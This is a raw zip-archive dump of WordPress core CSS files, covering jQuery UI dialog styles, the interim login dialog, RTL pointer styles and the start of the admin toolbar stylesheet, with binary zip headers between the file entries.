	color: #a7aaad !important;
	border-color: #dcdcde !important;
	background: #f6f7f7 !important;
	box-shadow: none !important;
	text-shadow: 0 1px 0 #fff !important;
	cursor: default;
	transform: none !important;
}

@media screen and (max-width: 782px) {

	.ui-button {
		padding: 6px 14px;
		line-height: normal;
		font-size: 14px;
		vertical-align: middle;
		height: auto;
		margin-bottom: 4px;
	}

}

/* WP Theme */

.ui-dialog {
	position: absolute;
	top: 0;
	left: 0;
	z-index: 100102;
	background-color: #fff;
	box-shadow: 0 3px 6px rgba(0, 0, 0, 0.3);
	overflow: hidden;
}

.ui-dialog-titlebar {
	background: #fff;
	border-bottom: 1px solid #dcdcde;
	height: 36px;
	font-size: 18px;
	font-weight: 600;
	line-height: 2;
	padding: 0 36px 0 16px;
}

.ui-button.ui-dialog-titlebar-close {
	background: none;
	border: none;
	box-shadow: none;
	color: #646970;
	cursor: pointer;
	display: block;
	padding: 0;
	position: absolute;
	top: 0;
	right: 0;
	width: 36px;
	height: 36px;
	text-align: center;
	border-radius: 0;
	overflow: hidden;
}

.ui-dialog-titlebar-close:before {
	font: normal 20px/1 dashicons;
	vertical-align: top;
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	line-height: 1.8;
	width: 36px;
	height: 36px;
	content: "\f158";
}

.ui-button.ui-dialog-titlebar-close:hover,
.ui-button.ui-dialog-titlebar-close:focus {
	color: #135e96;
}

.ui-button.ui-dialog-titlebar-close:focus {
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
	outline-offset: -2px;
}

.ui-dialog-content {
	padding: 16px;
	overflow: auto;
}

.ui-dialog-buttonpane {
	background: #fff;
	border-top: 1px solid #dcdcde;
	padding: 16px;
}

.ui-dialog-buttonpane .ui-button {
	margin-left: 16px;
}

.ui-dialog-buttonpane .ui-dialog-buttonset {
	float: right;
}

.ui-draggable .ui-dialog-titlebar {
	cursor: move;
}

.ui-widget-overlay {
	position: fixed;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	min-height: 360px;
	background: #000;
	opacity: 0.7;
	filter: alpha(opacity=70);
	z-index: 100101;
}
PK1Xd[��0�	�	wp-auth-check.cssnu�[���/*------------------------------------------------------------------------------
 Interim login dialog
------------------------------------------------------------------------------*/

#wp-auth-check-wrap.hidden {
	display: none;
}

#wp-auth-check-wrap #wp-auth-check-bg {
	position: fixed;
	top: 0;
	bottom: 0;
	left: 0;
	right: 0;
	background: #000;
	opacity: 0.7;
	filter: alpha(opacity=70);
	z-index: 1000010; /* needs to appear above .notification-dialog */
}

#wp-auth-check-wrap #wp-auth-check {
	position: fixed;
	left: 50%;
	overflow: hidden;
	top: 40px;
	bottom: 20px;
	max-height: 415px;
	width: 380px;
	margin: 0 0 0 -190px;
	padding: 30px 0 0;
	background-color: #f0f0f1;
	z-index: 1000011; /* needs to appear above #wp-auth-check-bg */
	box-shadow: 0 3px 6px rgba(0, 0, 0, 0.3);
}

@media screen and (max-width: 380px) {
	#wp-auth-check-wrap #wp-auth-check {
		left: 0;
		width: 100%;
		margin: 0;
	}
}

#wp-auth-check-wrap.fallback #wp-auth-check {
	max-height: 180px;
	overflow: auto;
}

#wp-auth-check-wrap #wp-auth-check-form {
	height: 100%;
	position: relative;
	overflow: auto;
	-webkit-overflow-scrolling: touch;
}

#wp-auth-check-form.loading:before {
	content: "";
	display: block;
	width: 20px;
	height: 20px;
	position: absolute;
	left: 50%;
	top: 50%;
	margin: -10px 0 0 -10px;
	background: url(../images/spinner.gif) no-repeat center;
	background-size: 20px 20px;
	transform: translateZ(0);
}

@media print,
  (min-resolution: 120dpi) {

	#wp-auth-check-form.loading:before {
		background-image: url(../images/spinner-2x.gif);
	}

}

#wp-auth-check-wrap #wp-auth-check-form iframe {
	height: 98%; /* Scrollbar fix */
	width: 100%;
}

#wp-auth-check-wrap .wp-auth-check-close {
	position: absolute;
	top: 5px;
	right: 5px;
	height: 22px;
	width: 22px;
	color: #787c82;
	text-decoration: none;
	text-align: center;
}

#wp-auth-check-wrap .wp-auth-check-close:before {
	content: "\f158";
	font: normal 20px/22px dashicons;
	speak: never;
	-webkit-font-smoothing: antialiased !important;
	-moz-osx-font-smoothing: grayscale;
}

#wp-auth-check-wrap .wp-auth-check-close:hover,
#wp-auth-check-wrap .wp-auth-check-close:focus {
	color: #2271b1;
}

#wp-auth-check-wrap .wp-auth-fallback-expired {
	outline: 0;
}

#wp-auth-check-wrap .wp-auth-fallback {
	font-size: 14px;
	line-height: 1.5;
	padding: 0 25px;
	display: none;
}

#wp-auth-check-wrap.fallback .wp-auth-fallback,
#wp-auth-check-wrap.fallback .wp-auth-check-close {
	display: block;
}
PK1Xd[����wp-pointer-rtl.cssnu�[���/*! This file is auto-generated */
.wp-pointer-content {
	padding: 0 0 10px;
	position: relative;
	font-size: 13px;
	background: #fff;
	border: 1px solid #c3c4c7;
	box-shadow: 0 3px 6px rgba(0, 0, 0, 0.08);
}

.wp-pointer-content h3 {
	position: relative;
	margin: -1px -1px 5px;
	padding: 15px 60px 14px 18px;
	border: 1px solid #2271b1;
	border-bottom: none;
	line-height: 1.4;
	font-size: 14px;
	color: #fff;
	background: #2271b1;
}

.wp-pointer-content h3:before {
	background: #fff;
	border-radius: 50%;
	color: #2271b1;
	content: "\f227";
	font: normal 20px/1.6 dashicons;
	position: absolute;
	top: 8px;
	right: 15px;
	speak: never;
	text-align: center;
	width: 32px;
	height: 32px;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

.wp-pointer-content h4 {
	margin: 1.33em 20px 1em;
	font-size: 1.15em;
}

.wp-pointer-content p {
	padding: 0 20px;
}

.wp-pointer-buttons {
	margin: 0;
	padding: 5px 15px;
	overflow: auto;
}

.wp-pointer-buttons a {
	float: left;
	display: inline-block;
	text-decoration: none;
}

.wp-pointer-buttons a.close {
	padding-right: 3px;
	position: relative;
}

.wp-pointer-buttons a.close:before {
	background: none;
	color: #787c82;
	content: "\f153";
	display: block !important;
	font: normal 16px/1 dashicons;
	speak: never;
	margin: 1px 0;
	text-align: center;
	-webkit-font-smoothing: antialiased !important;
	width: 10px;
	height: 100%;
	position: absolute;
	right: -15px;
	top: 1px;
}

.wp-pointer-buttons a.close:hover:before {
	color: #d63638;
}

/* The arrow base class must take up no space, even with transparent borders. */
.wp-pointer-arrow,
.wp-pointer-arrow-inner {
	position: absolute;
	width: 0;
	height: 0;
}

.wp-pointer-arrow {
	z-index: 10;
	width: 0;
	height: 0;
	border: 0 solid transparent;
}

.wp-pointer-arrow-inner {
	z-index: 20;
}

/* Make Room for the Arrow! */
.wp-pointer-top,
.wp-pointer-undefined {
	padding-top: 13px;
}

.wp-pointer-bottom {
	margin-top: -13px;
	padding-bottom: 13px;
}

/* rtl:ignore */
.wp-pointer-left {
	padding-left: 13px;
}
/* rtl:ignore */
.wp-pointer-right {
	margin-left: -13px;
	padding-right: 13px;
}

/* Base Size & Positioning */
.wp-pointer-top .wp-pointer-arrow,
.wp-pointer-bottom .wp-pointer-arrow,
.wp-pointer-undefined .wp-pointer-arrow {
	right: 50px;
}

.wp-pointer-left .wp-pointer-arrow,
.wp-pointer-right .wp-pointer-arrow {
	top: 50%;
	margin-top: -15px;
}

/* Arrow Sprite */
.wp-pointer-top .wp-pointer-arrow,
.wp-pointer-undefined .wp-pointer-arrow {
	top: 0;
	border-width: 0 13px 13px;
	border-bottom-color: #2271b1;
}

.wp-pointer-top .wp-pointer-arrow-inner,
.wp-pointer-undefined .wp-pointer-arrow-inner {
	top: 1px;
	margin-right: -13px;
	margin-top: -13px;
	border: 13px solid transparent;
	border-bottom-color: #2271b1;
	display: block;
	content: " ";
}

.wp-pointer-bottom .wp-pointer-arrow {
	bottom: 0;
	border-width: 13px 13px 0;
	border-top-color: #c3c4c7;
}

.wp-pointer-bottom .wp-pointer-arrow-inner {
	bottom: 1px;
	margin-right: -13px;
	margin-bottom: -13px;
	border: 13px solid transparent;
	border-top-color: #fff;
	display: block;
	content: " ";
}

/* rtl:ignore */
.wp-pointer-left .wp-pointer-arrow {
	left: 0;
	border-width: 13px 13px 13px 0;
	border-right-color: #c3c4c7;
}

/* rtl:ignore */
.wp-pointer-left .wp-pointer-arrow-inner {
	left: 1px;
	margin-left: -13px;
	margin-top: -13px;
	border: 13px solid transparent;
	border-right-color: #fff;
	display: block;
	content: " ";
}

/* rtl:ignore */
.wp-pointer-right .wp-pointer-arrow {
	right: 0;
	border-width: 13px 0 13px 13px;
	border-left-color: #c3c4c7;
}

/* rtl:ignore */
.wp-pointer-right .wp-pointer-arrow-inner {
	right: 1px;
	margin-right: -13px;
	margin-top: -13px;
	border: 13px solid transparent;
	border-left-color: #fff;
	display: block;
	content: " ";
}

.wp-pointer.arrow-bottom .wp-pointer-content {
	margin-bottom: -45px;
}

.wp-pointer.arrow-bottom .wp-pointer-arrow {
	top: 100%;
	margin-top: -30px;
}

/* Disable pointers at responsive sizes */
@media screen and (max-width: 782px) {
	.wp-pointer {
		display: none;
	}
}
PK1Xd[�@�_&&jquery-ui-dialog-rtl.cssnu�[���/*! This file is auto-generated */
/*!
 * jQuery UI CSS Framework 1.11.4
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 *
 * http://api.jqueryui.com/category/theming/
 */

/* Layout helpers
----------------------------------*/
.ui-helper-hidden {
	display: none;
}
.ui-helper-hidden-accessible {
	border: 0;
	clip: rect(0 0 0 0);
	height: 1px;
	margin: -1px;
	overflow: hidden;
	padding: 0;
	position: absolute;
	width: 1px;
}
.ui-helper-reset {
	margin: 0;
	padding: 0;
	border: 0;
	outline: 0;
	line-height: 1.3;
	text-decoration: none;
	font-size: 100%;
	list-style: none;
}
.ui-helper-clearfix:before,
.ui-helper-clearfix:after {
	content: "";
	display: table;
	border-collapse: collapse;
}
.ui-helper-clearfix:after {
	clear: both;
}
.ui-helper-clearfix {
	min-height: 0; /* support: IE7 */
}
.ui-helper-zfix {
	width: 100%;
	height: 100%;
	top: 0;
	right: 0;
	position: absolute;
	opacity: 0;
	filter:Alpha(Opacity=0); /* support: IE8 */
}

.ui-front {
	z-index: 100;
}


/* Interaction Cues
----------------------------------*/
.ui-state-disabled {
	cursor: default !important;
}


/* Icons
----------------------------------*/

/* states and images */
.ui-icon {
	display: block;
	text-indent: -99999px;
	overflow: hidden;
	background-repeat: no-repeat;
}


/* Misc visuals
----------------------------------*/

/* Overlays */
.ui-widget-overlay {
	position: fixed;
	top: 0;
	right: 0;
	width: 100%;
	height: 100%;
}

/*!
 * jQuery UI Resizable 1.11.4
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
.ui-resizable {
	position: relative;
}
.ui-resizable-handle {
	position: absolute;
	font-size: 0.1px;
	display: block;
	touch-action: none;
}
.ui-resizable-disabled .ui-resizable-handle,
.ui-resizable-autohide .ui-resizable-handle {
	display: none;
}
.ui-resizable-n {
	cursor: n-resize;
	height: 7px;
	width: 100%;
	top: -5px;
	right: 0;
}
.ui-resizable-s {
	cursor: s-resize;
	height: 7px;
	width: 100%;
	bottom: -5px;
	right: 0;
}
/* rtl:ignore */
.ui-resizable-e {
	cursor: e-resize;
	width: 7px;
	right: -5px;
	top: 0;
	height: 100%;
}
/* rtl:ignore */
.ui-resizable-w {
	cursor: w-resize;
	width: 7px;
	left: -5px;
	top: 0;
	height: 100%;
}
/* rtl:ignore */
.ui-resizable-se {
	cursor: se-resize;
	width: 12px;
	height: 12px;
	right: 1px;
	bottom: 1px;
}
/* rtl:ignore */
.ui-resizable-sw {
	cursor: sw-resize;
	width: 9px;
	height: 9px;
	left: -5px;
	bottom: -5px;
}
/* rtl:ignore */
.ui-resizable-nw {
	cursor: nw-resize;
	width: 9px;
	height: 9px;
	left: -5px;
	top: -5px;
}
/* rtl:ignore */
.ui-resizable-ne {
	cursor: ne-resize;
	width: 9px;
	height: 9px;
	right: -5px;
	top: -5px;
}

/* WP buttons: see buttons.css. */

.ui-button {
	display: inline-block;
	text-decoration: none;
	font-size: 13px;
	line-height: 2;
	height: 28px;
	margin: 0;
	padding: 0 10px 1px;
	cursor: pointer;
	border-width: 1px;
	border-style: solid;
	-webkit-appearance: none;
	border-radius: 3px;
	white-space: nowrap;
	box-sizing: border-box;
	color: #50575e;
	border-color: #c3c4c7;
	background: #f6f7f7;
	box-shadow: 0 1px 0 #c3c4c7;
	vertical-align: top;
}

.ui-button:active,
.ui-button:focus {
	outline: none;
}

/* Remove the dotted border on :focus and the extra padding in Firefox */
.ui-button::-moz-focus-inner {
	border-width: 0;
	border-style: none;
	padding: 0;
}

.ui-button:hover,
.ui-button:focus {
	background: #f6f7f7;
	border-color: #8c8f94;
	color: #1d2327;
}

.ui-button:focus {
	border-color: #4f94d4;
	box-shadow: 0 0 3px rgba(34, 113, 177, 0.8);
}

.ui-button:active {
	background: #f0f0f1;
	border-color: #8c8f94;
	box-shadow: inset 0 2px 5px -3px rgba(0, 0, 0, 0.5);
}

.ui-button[disabled],
.ui-button:disabled {
	color: #a7aaad !important;
	border-color: #dcdcde !important;
	background: #f6f7f7 !important;
	box-shadow: none !important;
	text-shadow: 0 1px 0 #fff !important;
	cursor: default;
	transform: none !important;
}

@media screen and (max-width: 782px) {

	.ui-button {
		padding: 6px 14px;
		line-height: normal;
		font-size: 14px;
		vertical-align: middle;
		height: auto;
		margin-bottom: 4px;
	}

}

/* WP Theme */

.ui-dialog {
	position: absolute;
	top: 0;
	right: 0;
	z-index: 100102;
	background-color: #fff;
	box-shadow: 0 3px 6px rgba(0, 0, 0, 0.3);
	overflow: hidden;
}

.ui-dialog-titlebar {
	background: #fff;
	border-bottom: 1px solid #dcdcde;
	height: 36px;
	font-size: 18px;
	font-weight: 600;
	line-height: 2;
	padding: 0 16px 0 36px;
}

.ui-button.ui-dialog-titlebar-close {
	background: none;
	border: none;
	box-shadow: none;
	color: #646970;
	cursor: pointer;
	display: block;
	padding: 0;
	position: absolute;
	top: 0;
	left: 0;
	width: 36px;
	height: 36px;
	text-align: center;
	border-radius: 0;
	overflow: hidden;
}

.ui-dialog-titlebar-close:before {
	font: normal 20px/1 dashicons;
	vertical-align: top;
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	line-height: 1.8;
	width: 36px;
	height: 36px;
	content: "\f158";
}

.ui-button.ui-dialog-titlebar-close:hover,
.ui-button.ui-dialog-titlebar-close:focus {
	color: #135e96;
}

.ui-button.ui-dialog-titlebar-close:focus {
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
	outline-offset: -2px;
}

.ui-dialog-content {
	padding: 16px;
	overflow: auto;
}

.ui-dialog-buttonpane {
	background: #fff;
	border-top: 1px solid #dcdcde;
	padding: 16px;
}

.ui-dialog-buttonpane .ui-button {
	margin-right: 16px;
}

.ui-dialog-buttonpane .ui-dialog-buttonset {
	float: left;
}

.ui-draggable .ui-dialog-titlebar {
	cursor: move;
}

.ui-widget-overlay {
	position: fixed;
	top: 0;
	right: 0;
	left: 0;
	bottom: 0;
	min-height: 360px;
	background: #000;
	opacity: 0.7;
	filter: alpha(opacity=70);
	z-index: 100101;
}
PK1Xd[OB&�VVwp-auth-check.min.cssnu�[���/*! This file is auto-generated */
#wp-auth-check-wrap.hidden{display:none}#wp-auth-check-wrap #wp-auth-check-bg{position:fixed;top:0;bottom:0;left:0;right:0;background:#000;opacity:.7;z-index:1000010}#wp-auth-check-wrap #wp-auth-check{position:fixed;left:50%;overflow:hidden;top:40px;bottom:20px;max-height:415px;width:380px;margin:0 0 0 -190px;padding:30px 0 0;background-color:#f0f0f1;z-index:1000011;box-shadow:0 3px 6px rgba(0,0,0,.3)}@media screen and (max-width:380px){#wp-auth-check-wrap #wp-auth-check{left:0;width:100%;margin:0}}#wp-auth-check-wrap.fallback #wp-auth-check{max-height:180px;overflow:auto}#wp-auth-check-wrap #wp-auth-check-form{height:100%;position:relative;overflow:auto;-webkit-overflow-scrolling:touch}#wp-auth-check-form.loading:before{content:"";display:block;width:20px;height:20px;position:absolute;left:50%;top:50%;margin:-10px 0 0 -10px;background:url(../images/spinner.gif) no-repeat center;background-size:20px 20px;transform:translateZ(0)}@media print,(min-resolution:120dpi){#wp-auth-check-form.loading:before{background-image:url(../images/spinner-2x.gif)}}#wp-auth-check-wrap #wp-auth-check-form iframe{height:98%;width:100%}#wp-auth-check-wrap .wp-auth-check-close{position:absolute;top:5px;right:5px;height:22px;width:22px;color:#787c82;text-decoration:none;text-align:center}#wp-auth-check-wrap .wp-auth-check-close:before{content:"\f158";font:normal 20px/22px dashicons;speak:never;-webkit-font-smoothing:antialiased!important;-moz-osx-font-smoothing:grayscale}#wp-auth-check-wrap .wp-auth-check-close:focus,#wp-auth-check-wrap .wp-auth-check-close:hover{color:#2271b1}#wp-auth-check-wrap .wp-auth-fallback-expired{outline:0}#wp-auth-check-wrap .wp-auth-fallback{font-size:14px;line-height:1.5;padding:0 25px;display:none}#wp-auth-check-wrap.fallback .wp-auth-check-close,#wp-auth-check-wrap.fallback .wp-auth-fallback{display:block}PK1Xd[�0t��_�_
admin-bar.cssnu�[���html {
	--wp-admin--admin-bar--height: 32px;
	scroll-padding-top: var(--wp-admin--admin-bar--height);
}

#wpadminbar * {
	height: auto;
	width: auto;
	margin: 0;
	padding: 0;
	position: static;
	text-shadow: none;
	text-transform: none;
	letter-spacing: normal;
	font-size: 13px;
	font-weight: 400;
	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
	font-style: normal;
	line-height: 2.46153846;
	border-radius: 0;
	box-sizing: content-box;
	transition: none;
	-webkit-font-smoothing: subpixel-antialiased; /* Prevent Safari from switching to standard antialiasing on hover */
	-moz-osx-font-smoothing: auto; /* Prevent Firefox from inheriting from themes that use other values */
}

.rtl #wpadminbar * {
	font-family: Tahoma, sans-serif;
}

html:lang(he-il) .rtl #wpadminbar * {
	font-family: Arial, sans-serif;
}

#wpadminbar .ab-empty-item {
	cursor: default;
}

#wpadminbar .ab-empty-item,
#wpadminbar a.ab-item,
#wpadminbar > #wp-toolbar span.ab-label,
#wpadminbar > #wp-toolbar span.noticon {
	color: #f0f0f1;
}

#wpadminbar #wp-admin-bar-site-name a.ab-item,
#wpadminbar #wp-admin-bar-my-sites a.ab-item {
	white-space: nowrap;
}

#wpadminbar ul li:before,
#wpadminbar ul li:after {
	content: normal;
}

#wpadminbar a,
#wpadminbar a:hover,
#wpadminbar a img,
#wpadminbar a img:hover {
	border: none;
	text-decoration: none;
	background: none;
	box-shadow: none;
}

#wpadminbar a:focus,
#wpadminbar a:active,
#wpadminbar input[type="text"],
#wpadminbar input[type="password"],
#wpadminbar input[type="number"],
#wpadminbar input[type="search"],
#wpadminbar input[type="email"],
#wpadminbar input[type="url"],
#wpadminbar select,
#wpadminbar textarea,
#wpadminbar div {
	box-shadow: none;
}

#wpadminbar a:focus {
	/* Inherits transparent outline only visible in Windows High Contrast mode */
	outline-offset: -1px;
}

#wpadminbar {
	direction: ltr;
	color: #c3c4c7;
	font-size: 13px;
	font-weight: 400;
	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
	line-height: 2.46153846;
	height: 32px;
	position: fixed;
	top: 0;
	left: 0;
	width: 100%;
	min-width: 600px; /* match the min-width of the body in wp-admin/css/common.css */
	z-index: 99999;
	background: #1d2327;
	/* Only visible in Windows High Contrast mode */
	outline: 1px solid transparent;
}

#wpadminbar .ab-sub-wrapper,
#wpadminbar ul,
#wpadminbar ul li {
	background: none;
	clear: none;
	list-style: none;
	margin: 0;
	padding: 0;
	position: relative;
	text-indent: 0;
	z-index: 99999;
}

#wpadminbar ul#wp-admin-bar-root-default>li {
	margin-right: 0;
}

#wpadminbar .quicklinks ul {
	text-align: left;
}

#wpadminbar li {
	float: left;
}

#wpadminbar .ab-empty-item {
	outline: none;
}

#wpadminbar .quicklinks a,
#wpadminbar .quicklinks .ab-empty-item,
#wpadminbar .shortlink-input {
	height: 32px;
	display: block;
	padding: 0 10px;
	margin: 0;
}

#wpadminbar .quicklinks > ul > li > a {
	padding: 0 8px 0 7px;
}

#wpadminbar .menupop .ab-sub-wrapper,
#wpadminbar .shortlink-input {
	margin: 0;
	padding: 0;
	box-shadow: 0 3px 5px rgba(0, 0, 0, 0.2);
	background: #2c3338;
	display: none;
	position: absolute;
	float: none;
}

#wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper {
	min-width: 100%;
}

#wpadminbar .ab-top-secondary .menupop .ab-sub-wrapper {
	right: 0;
	left: auto;
}

#wpadminbar .ab-submenu {
	padding: 6px 0;
}

#wpadminbar .selected .shortlink-input {
	display: block;
}

#wpadminbar .quicklinks .menupop ul li {
	float: none;
}

#wpadminbar .quicklinks .menupop ul li a strong {
	font-weight: 600;
}

#wpadminbar .quicklinks .menupop ul li .ab-item,
#wpadminbar .quicklinks .menupop ul li a strong,
#wpadminbar .quicklinks .menupop.hover ul li .ab-item,
#wpadminbar.nojs .quicklinks .menupop:hover ul li .ab-item,
#wpadminbar .shortlink-input {
	line-height: 2;
	height: 26px;
	white-space: nowrap;
	min-width: 140px;
}

#wpadminbar .shortlink-input {
	width: 200px;
}

#wpadminbar.nojs li:hover > .ab-sub-wrapper,
#wpadminbar li.hover > .ab-sub-wrapper {
	display: block;
	/* Only visible in Windows High Contrast mode */
	outline: 1px solid transparent;
}

#wpadminbar .menupop li:hover > .ab-sub-wrapper,
#wpadminbar .menupop li.hover > .ab-sub-wrapper {
	margin-left: 100%;
	margin-top: -32px;
}

#wpadminbar .ab-top-secondary .menupop li:hover > .ab-sub-wrapper,
#wpadminbar .ab-top-secondary .menupop li.hover > .ab-sub-wrapper {
	margin-left: 0;
	left: inherit;
	right: 100%;
}

#wpadminbar:not(.mobile) .ab-top-menu > li > .ab-item:focus,
#wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus,
#wpadminbar:not(.mobile) .ab-top-menu > li:hover > .ab-item,
#wpadminbar .ab-top-menu > li.hover > .ab-item {
	background: #2c3338;
	color: #72aee6;
}

#wpadminbar:not(.mobile) > #wp-toolbar li:hover span.ab-label,
#wpadminbar > #wp-toolbar li.hover span.ab-label,
#wpadminbar:not(.mobile) > #wp-toolbar a:focus span.ab-label {
	color: #72aee6;
}

#wpadminbar > #wp-toolbar > #wp-admin-bar-root-default .ab-icon,
#wpadminbar .ab-icon,
#wpadminbar .ab-item:before,
.wp-admin-bar-arrow {
	position: relative;
	float: left;
	font: normal 20px/1 dashicons;
	speak: never;
	padding: 4px 0;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	background-image: none !important;
	margin-right: 6px;
}

#wpadminbar .ab-icon:before,
#wpadminbar .ab-item:before,
#wpadminbar #adminbarsearch:before {
	color: #a7aaad;
	color: rgba(240, 246, 252, 0.6);
}

#wpadminbar .ab-icon:before,
#wpadminbar .ab-item:before,
#wpadminbar #adminbarsearch:before {
	position: relative;
	transition: color .1s ease-in-out;
}

#wpadminbar .ab-label {
	display: inline-block;
	height: 32px;
}

#wpadminbar .ab-submenu .ab-item {
	color: #c3c4c7;
	color: rgba(240, 246, 252, 0.7);
}

#wpadminbar .quicklinks .menupop ul li a,
#wpadminbar .quicklinks .menupop ul li a strong,
#wpadminbar .quicklinks .menupop.hover ul li a,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a {
	color: #c3c4c7;
	color: rgba(240, 246, 252, 0.7);
}

#wpadminbar .quicklinks .menupop ul li a:hover,
#wpadminbar .quicklinks .menupop ul li a:focus,
#wpadminbar .quicklinks .menupop ul li a:hover strong,
#wpadminbar .quicklinks .menupop ul li a:focus strong,
#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a,
#wpadminbar .quicklinks .menupop.hover ul li a:hover,
#wpadminbar .quicklinks .menupop.hover ul li a:focus,
#wpadminbar .quicklinks .menupop.hover ul li div[tabindex]:hover,
#wpadminbar .quicklinks .menupop.hover ul li div[tabindex]:focus,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,
#wpadminbar li:hover .ab-icon:before,
#wpadminbar li:hover .ab-item:before,
#wpadminbar li a:focus .ab-icon:before,
#wpadminbar li .ab-item:focus:before,
#wpadminbar li .ab-item:focus .ab-icon:before,
#wpadminbar li.hover .ab-icon:before,
#wpadminbar li.hover .ab-item:before,
#wpadminbar li:hover #adminbarsearch:before,
#wpadminbar li #adminbarsearch.adminbar-focused:before {
	color: #72aee6;
}

#wpadminbar.mobile .quicklinks .ab-icon:before,
#wpadminbar.mobile .quicklinks .ab-item:before {
	color: #c3c4c7;
}

#wpadminbar.mobile .quicklinks .hover .ab-icon:before,
#wpadminbar.mobile .quicklinks .hover .ab-item:before {
	color: #72aee6;
}

#wpadminbar .menupop .menupop > .ab-item .wp-admin-bar-arrow:before,
#wpadminbar .ab-top-secondary .menupop .menupop > .ab-item:before {
	position: absolute;
	font: normal 17px/1 dashicons;
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

#wpadminbar .menupop .menupop > .ab-item {
	display: block;
	padding-right: 2em;
}

#wpadminbar .menupop .menupop > .ab-item .wp-admin-bar-arrow:before {
	top: 1px;
	right: 10px;
	padding: 4px 0;
	content: "\f139";
	color: inherit;
}

#wpadminbar .ab-top-secondary .menupop .menupop > .ab-item {
	padding-left: 2em;
	padding-right: 1em;
}

#wpadminbar .ab-top-secondary .menupop .menupop > .ab-item .wp-admin-bar-arrow:before {
	top: 1px;
	left: 6px;
	content: "\f141";
}

#wpadminbar .quicklinks .menupop ul.ab-sub-secondary {
	display: block;
	position: relative;
	right: auto;
	margin: 0;
	box-shadow: none;
}

#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,
#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu {
	background: #3c434a;
}

#wpadminbar .quicklinks .menupop .ab-sub-secondary > li > a:hover,
#wpadminbar .quicklinks .menupop .ab-sub-secondary > li .ab-item:focus a {
	color: #72aee6;
}

#wpadminbar .quicklinks a span#ab-updates {
	background: #f0f0f1;
	color: #2c3338;
	display: inline;
	padding: 2px 5px;
	font-size: 10px;
	font-weight: 600;
	border-radius: 10px;
}

#wpadminbar .quicklinks a:hover span#ab-updates {
	background: #fff;
	color: #000;
}

#wpadminbar .ab-top-secondary {
	float: right;
}

#wpadminbar ul li:last-child,
#wpadminbar ul li:last-child .ab-item {
	box-shadow: none;
}

/**
 * Recovery Mode
 */
#wpadminbar #wp-admin-bar-recovery-mode {
	color: #fff;
	background-color: #d63638;
}

#wpadminbar .ab-top-menu > #wp-admin-bar-recovery-mode.hover >.ab-item,
#wpadminbar.nojq .quicklinks .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus,
#wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode:hover > .ab-item,
#wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus {
	color: #fff;
	background-color: #d63638;
}

/**
 * My Account
 */
#wp-admin-bar-my-account > ul {
	min-width: 198px;
}

#wp-admin-bar-my-account:not(.with-avatar) > .ab-item {
	display: inline-block;
}

#wp-admin-bar-my-account > .ab-item:before {
	content: "\f110";
	top: 2px;
	float: right;
	margin-left: 6px;
	margin-right: 0;
}

#wp-admin-bar-my-account.with-avatar > .ab-item:before {
	display: none;
	content: none;
}

#wp-admin-bar-my-account.with-avatar > ul {
	min-width: 270px;
}

#wpadminbar #wp-admin-bar-user-actions > li {
	margin-left: 16px;
	margin-right: 16px;
}

#wpadminbar #wp-admin-bar-user-actions.ab-submenu {
	padding: 6px 0 12px;
}

#wpadminbar #wp-admin-bar-my-account.with-avatar #wp-admin-bar-user-actions > li {
	margin-left: 88px;
}

#wpadminbar #wp-admin-bar-user-info {
	margin-top: 6px;
	margin-bottom: 15px;
	height: auto;
	background: none;
}

#wp-admin-bar-user-info .avatar {
	position: absolute;
	left: -72px;
	top: 4px;
	width: 64px;
	height: 64px;
}

#wpadminbar #wp-admin-bar-user-info a {
	background: none;
	height: auto;
}

#wpadminbar #wp-admin-bar-user-info span {
	background: none;
	padding: 0;
	height: 18px;
}

#wpadminbar #wp-admin-bar-user-info .display-name,
#wpadminbar #wp-admin-bar-user-info .username {
	display: block;
}

#wpadminbar #wp-admin-bar-user-info .username {
	color: #a7aaad;
	font-size: 11px;
}

#wpadminbar #wp-admin-bar-my-account.with-avatar > .ab-empty-item img,
#wpadminbar #wp-admin-bar-my-account.with-avatar > a img {
	width: auto;
	height: 16px;
	padding: 0;
	border: 1px solid #8c8f94;
	background: #f0f0f1;
	line-height: 1.84615384;
	vertical-align: middle;
	margin: -4px 0 0 6px;
	float: none;
	display: inline;
}

/**
 * WP Logo
 */
#wpadminbar #wp-admin-bar-wp-logo > .ab-item .ab-icon {
	width: 15px;
	height: 20px;
	margin-right: 0;
	padding: 6px 0 5px;
}

#wpadminbar #wp-admin-bar-wp-logo > .ab-item {
	padding: 0 7px;
}

#wpadminbar #wp-admin-bar-wp-logo > .ab-item .ab-icon:before {
	content: "\f120";
	top: 2px;
}

/*
 * My Sites & Site Title
 */
#wpadminbar .quicklinks li .blavatar {
	display: inline-block;
	vertical-align: middle;
	font: normal 16px/1 dashicons !important;
	speak: never;
	-webkit-font-smoothing: antialiased;
